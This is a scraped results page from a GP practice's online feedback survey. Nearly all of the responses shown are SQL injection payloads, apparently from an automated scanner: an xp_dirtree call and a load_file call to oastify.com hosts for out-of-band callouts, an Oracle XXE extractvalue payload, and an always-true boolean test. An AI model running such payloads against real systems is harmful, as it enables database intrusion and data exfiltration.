Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
Very good’;declare @q varchar(99);set @q=’4bghin2a28repund87ho9ice2589w2mqdh19o6cv.oasti’+’fy.comjjy’; exec master.dbo.xp_dirtree @q;– | [10] | [11] | July 4, 2023 at 9:14 am |
Very good’||(select extractvalue(xmltype(‘<!DOCTYPE root [ %ysjgd;]>’),’/l’) from dual)||’ | [10] | [11] | July 4, 2023 at 9:14 am |
(select extractvalue(xmltype(‘<!DOCTYPE root [ %ysjgd;]>’),’/l’) from dual) | [10] | [11] | July 4, 2023 at 9:14 am |
Very good80486253′ or ‘9985’=’9985 | [10] | [11] | July 4, 2023 at 9:14 am |
Very good’+(select load_file(‘\i3mva1uoumjsh8fr0l921w4suj0noge457tzgw4l.oastify.commqw’))+’ | [10] | [11] | July 4, 2023 at 9:14 am |
